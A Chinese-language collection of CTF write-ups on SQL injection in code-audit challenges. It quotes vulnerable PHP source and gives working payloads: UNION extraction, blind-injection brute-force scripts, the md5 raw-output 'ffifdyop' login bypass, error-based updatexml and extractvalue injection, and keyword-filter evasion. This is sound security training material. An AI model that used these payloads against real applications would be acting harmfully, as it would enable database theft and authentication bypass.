一些和sql注入有关的代码审计题目
GBK Injection GBK Injection
单引号会被/注掉,可以用%df吃掉/封闭id
查询字段数
?id=-1%df' order by 2%23
果然两个,顺带查看其用户,库名和版本
?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23
库名sae-chinalover,再爆表
单引号会被/注掉,所以写sae-chinalover的16进制
?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23
有四个:ctf,ctf2,ctf3,ctf4,news,爆列名
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23
ctf4里有id,flag,flag应该就在这里
?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23
bugku-xor-sql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select 1^1; +-----+ | 1^1 | +-----+ | 0 | +-----+ 1 row in set (0.01 sec) mysql> select 1^0; +-----+ | 1^0 | +-----+ | 1 | +-----+ 1 row in set (0.00 sec)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql> select 1^(length('\'')>0); +--------------------+ | 1^(length('\'')>0) | +--------------------+ | 0 | +--------------------+ 1 row in set (0.00 sec) mysql> select 1^(length('')>0); +------------------+ | 1^(length('')>0) | +------------------+ | 1 | +------------------+ 1 row in set (0.00 sec)
http://123.206.87.240:9004/1ndex.php?id=1^(length(%27an%27)%3E0)#
http://123.206.87.240:9004/1ndex.php?id=-1%27%20uniunionon%20selselectect%201,(selselectect%20column_name%20from%20infoorrmation_schema.columns%20where%20table_schema%20=0x776562313030322d31%20anandd%20table_name=0x666c616731%20limit%200,1)%23
usOwycTju+FTUUzXosjr
http://123.206.87.240:9004/1ndex.php?id=-1%27%20uniunionon%20selselectect%201,(selselectect%20address%20from%20flag1)%23
Once_More.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsrs = requests.Session() def flag2 () : flag ='' for j in xrange(1 , 100 ): temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~' key = 0 for i in temp: url = "http://123.206.87.240:9004/Once_More.php?id=1'and (select locate(binary'" +str(i)+"',(select flag2 from flag2)," +str(j)+"))=" +str(j)+"%23" r1 = requests.get(url) if "Hello" in r1.text: print str(i)+" -----" +str(j) flag += str(i) print "[*] : " +flag key = 1 if key ==0 : break if __name__ == '__main__' : flag2()
LOCATE(substr,str,pos)
返回子串 substr 在字符串 str 中的第 pos 位置后第一次出现的位置。如果 substr 不在 str 中返回 0
flag{Bugku-sql_6s-2i-4t-bug}
Login 题目链接:http://web.jarvisoj.com:32772/
这个抓包之后response有个提示
Hint: "select * from
adminwhere password='".md5($pass,true)."'"
应该是MD5加密后的sql注入,好像没做过,百度关键字学习下
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:
• TRUE – 原始 16 字符二进制格式
• FALSE – 默认。32 十六进制数
绕过过程为字符串经md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串
构成的sql语句类型为:
select * from
adminwhere password=”or’xxx’
两个payload:
content: 129581926211651571912466741651878684928
md5加密为: 06da5430449f8f6f23dfc1276f722738
作hex转字符串: ?T0D??o#??’or’8.N=?
content: ffifdyop
md5加密为: 276f722736c95d99e921722cf9ed621c
作hex转字符串: ‘or’6蒥欓!r,b
输入ffifdyop
IN A Mess 源码里提示index.phps,其源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET['id']) { header('Location: index.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'Hahahahahaha'; return ; } $data = @file_get_contents($a,'r'); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?>
关键一行
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
baidu下eregi函数可以%00截断,a可以用之前的data://协议实现,php://input也可,那个id得为0,但直接id=0会跳转到初始页面,我就id=0e00绕过了
构造?a=data://text/plain,1112 is a nice lab!&id=0e00&b=%0012313
得到
好像是提示进入/^HT2mCpcvOLf这个路径
结果似乎是sql注入
查字段时一加空格就不行,baidu空格绕过,可以使用/注释\ /绕过
?id=1/*0*/order/*0*/by/*0*/3%23
为三个字段,接着查库
搞半天还得双写。。
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23
查所有库
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23
只有information_schema和test
查test的表
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23
只有一个content,查列
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23
有id,context,title
最后直接查context
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23
得到flag
inject index.php~
1 2 3 4 5 6 7 8 9 <?php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 mysql> select `password` from users; +------------------------------------------+ | password | +------------------------------------------+ | 6885858486f31043e5839c735d99457f045affd0 | | 6885858486f31043e5839c735d99457f045affd0 | +------------------------------------------+ 2 rows in set (0.00 sec) mysql> select 'passwdord' from users; +-----------+ | passwdord | +-----------+ | passwdord | | passwdord | +-----------+ 2 rows in set (0.00 sec)
类似
的sql语句也是可以的
1 2 mysql> desc `users` `union select table_name from information_schema.tables`; Empty set (0.00 sec)
所以
1 http://web.jarvisoj.com:32794/?table=test` `union select table_name from information_schema.tables limit 1,1
查处表名为flag
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。LIMIT 接受一个或两个数字参数。
为了与 PostgreSQL 兼容,MySQL 也支持句法: LIMIT # OFFSET #
1 http://web.jarvisoj.com:32794/?table=flag` `union select column_name from information_schema.columns limit 1,1
列名为flagUwillNeverKnow
payload:1 http://web.jarvisoj.com:32794/?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1
flag{luckyGame~}
Login 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0 ); $link = mysql_connect('localhost' , 'root' , '' ); if (!$link) { die ('Could not connect to MySQL: ' . mysql_error()); } $db = mysql_select_db("test" , $link); if (!$db){ echo 'select db error' ; exit (); } $password = $_GET['pwd' ]; $sql = "SELECT * FROM admin WHERE pass = '" .md5($password,true )."'" ; var_dump($sql); $result=mysql_query($sql) or die ('<pre>' . mysql_error() . '</pre>' ); $row1 = mysql_fetch_row($result); var_dump($row1); mysql_close($link); ?>
sql语句为"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
若md5后的hex转换成字符串后,如果包含'or'xxx'
的字符串
则拼接后构成的语句为:1 SELECT * FROM admin WHERE pass = ''or'xxx'
而字符串ffifdyop,md5后,276f722736c95d99e921722cf9ed621c,转为字符串'or'6?]??!r,??b
拼接后的语句为:1 SELECT * FROM admin WHERE pass = ''or'6?]??!r,??b'
payload:
PCTF{R4w_md5_is_d4ng3rous}
因缺思汀的绕过 <!--source: source.txt-->
发现代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0 ); if (!isset ($_POST['uname' ]) || !isset ($_POST['pwd' ])) { echo '<form action="" method="post">' ."<br/>" ; echo '<input name="uname" type="text"/>' ."<br/>" ; echo '<input name="pwd" type="text"/>' ."<br/>" ; echo '<input type="submit" />' ."<br/>" ; echo '</form>' ."<br/>" ; echo '<!--source: source.txt-->' ."<br/>" ; die ; } function AttackFilter ($StrKey,$StrValue,$ArrReq) { if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/" .$ArrReq."/is" ,$StrValue)==1 ){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒" ; exit (); } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)" ; foreach ($_POST as $key=>$value){ AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX" ,"XXXXXX" ,"XXXXXX" ); if (!$con){ die ('Could not connect: ' . mysql_error()); } $db="XXXXXX" ; mysql_select_db($db, $con); $sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'" ; $query = mysql_query($sql); if (mysql_num_rows($query) == 1 ) { $key = mysql_fetch_array($query); if ($key['pwd' ] == $_POST['pwd' ]) { print "CTF{XXXXXX}" ; }else { print "浜﹀彲璧涜墖锛�" ; } }else { print "涓€棰楄禌鑹囷紒" ; } mysql_close($con); ?>
要满足mysql_num_rows($query) == 1
和$key['pwd'] == $_POST['pwd']
后者使用group by pwd with rollup在查询结果中加上一行,且pwd字段的值为NULL,以此绕过$key['pwd'] == $_POST['pwd']
过滤,
则使用limit # offset #
来满足mysql_num_rows($query) == 1
,fuzz出limit 1 offset 2
输入框输入' or 1=1 group by pwd with rollup limit 1 offset 2 #
CTF{with_rollup_interesting}
程序逻辑问题 index.txt中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********", "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
利用user处的注入返回想要的pw
例如 qwe,76d80224611fc919a5d54f0ff9fba446
username值' union select '76d80224611fc919a5d54f0ff9fba446'#
password值qwe
提交获得flag
SimCTF{youhaocongming}
Challenge1 php4fun的题
已经访问不了,本地复现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 error_reporting(0 ); require 'db.inc.php' ;function clean ($str) { if (get_magic_quotes_gpc()){ $str=stripslashes($str); } return htmlentities($str, ENT_QUOTES); } $username = @clean((string)$_GET['username' ]); $password = @clean((string)$_GET['password' ]); $query='SELECT * FROM users WHERE name=\'' .$username.'\' AND pass=\'' .$password.'\';' ; $result=mysql_query($query); if (!$result || mysql_num_rows($result) < 1 ){ die ('Invalid password!' ); } $row = mysql_fetch_assoc($result); echo "Hello " .$row['name' ]."</br>" ;echo "Your password is:" .$row['pass' ]."</br>" ;
htmlentities将单引号实体化了,所以可用\来将源单引号转义
构造SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';
payload:?username=\&password=%20or%201=1%20limit%202,3%23
Error Injection 原来貌似是三个白帽上的题,本地复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php include 'config.php' ;foreach (array ('_GET' ,'_POST' ,'_COOKIE' ) as $key){ foreach ($$key as $k => $v){ if (is_array($v)){ errorBox("hello,sangebaimao!" ); }else { $k[0 ] !='_' ?$$k = addslashes($v):$$k = "" ; } } } function filter ($str) { $rstr = "" ; for ($i=0 ;$i<strlen($str);$i++){ if (ord($str[$i])>31 && ord($str[$i])<127 ){ $rstr = $rstr.$str[$i]; } } $rstr = str_replace('\'' ,'' ,$rstr); return $rstr; } if (!empty ($message)){ if (preg_match("/\b(select|insert|update|delete)\b/i" ,$message)){ die ("hello,sangebaimao!" ); } if (filter($message) !== $message){ die ("hello,sangebaimao!" ); } $sql="insert guestbook(`message`) value('$message');" ; mysql_query($sql); $sql = "select * from guestbook order by id limit 0,5;" ; $result = mysql_query($sql); if ($result){ while ($row = mysql_fetch_array($result)){ $id = $row['id' ]; $message = $row['message' ]; echo "|$id|=>|$message|<br/>" ; } } $message = stripcslashes($message); $sql = "delete from guestbook where id=$id or message ='$message';" ; if (!mysql_query($sql)){ print (mysql_error()); $sql = "delete from guestbook where id=$id" ; mysql_query($sql); }; } ?>
需要绕过单引号和preg_match
因为stripcslashes函数,可以使用1\x27
创造单引号
/*!00000select*/
绕过preg_match
在mysql,00000这5位代表版本号,表示只有在大于该版本的mysql中不作为注释
1 2 3 4 5 6 7 mysql> /*!00000select 1*/; +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)
利用updatexml报错
UpdateXML(xml_target, xpath_expr, new_xml) updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换
concat得到带'
的数据,单引号为非法字符,因此报错,输出错误内容
?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
利用ExtractValue()报错
ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值
?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23
参考: https://0x48.pw/2016/04/08/0x18/
update注入 1 2 3 4 5 6 7 8 9 10 11 12 <?php $link = mysqli_connect('localhost' , 'root' , 'root' ); mysqli_select_db($link, 'code' ); $table = addslashes($_GET['table' ]); $sql = "UPDATE `{$table}` SET `username`='admin' WHERE id=1" ;if (!mysqli_query($link, $sql)) { echo (mysqli_error($link)); } mysqli_close($link);
首先addslashes为单双引号、反斜线加上了\
sql语句是update,可以使用left join,extractvalue报错注入,char函数替换单引号,闭合反引号
payload:1 ?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username
注入之后为1 2 3 update `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=`t.username` set username ='admin' where id=1;
关于一个sql注入注入题目的思考
Are you brave enough? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $db = mysqli_connect('localhost' ,'web_brave' ,'' ,'web_brave' ); $id = @$_GET['id' ]; $key = $db->real_escape_string(@$_GET['key' ]); if (preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i' , $id)) die ('Attack Detected. Try harder: ' . $_SERVER['REMOTE_ADDR' ]); $query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '" .$key."'" ; $q = $db->query($query); if ($q->num_rows) { echo '<h3>Users:</h3><ul>' ; while ($row = $q->fetch_array()) { echo '<li>' .$row['name' ].'</li>' ; } echo '</ul>' ; } else { die ('<h3>Nop.</h3>' ); }
id被过滤了很多东西,key也有real_escape_string
函数做转义处理,但id没有过滤
利用%00截断,
列出所有name
wanna to see your hat? http://120.132.56.20:1515/
.svn得到源码
一部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (isset($_POST["name"])){ $name = str_replace("'", "", trim(waf($_POST["name"]))); if (strlen($name) > 11){ echo("<script>alert('name too long')</script>"); }else{ $sql = "select count(*) from t_info where username = '$name' or nickname = '$name'"; echo $sql; $result = mysql_query($sql); $row = mysql_fetch_array($result); if ($row[0]){ $_SESSION['hat'] = 'black'; echo 'good job'; }else{ $_SESSION['hat'] = 'green'; } header("Location: index.php"); }
构造or/*1*/1#\
,抓包通过sql语句发现\被转义,而’则会被\替换
在构造or/**/1#'
得到flag,或更短的or(1)#'
flag{good_job_white_hat}
Naughty ads 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_REQUEST['id' ])){ if (preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i" , $_REQUEST['id' ])){ die ("Attack detected!!!" ); } } $sql = "select * from xxx where id = '{$_GET['id']}'" ; echo $sql;$result = sql_query($_GET['id' ]); ?>
绕过正则?id=1%27/*1*/union%20slect%20*%20from%20flag%20%23
或者get?id=1' union select * from flag %23
,同时postid=1
,因为$_REQUEST
,利用Environment, Get, Post, Cookie, Server的数据的加载顺序post参数覆盖同名get参数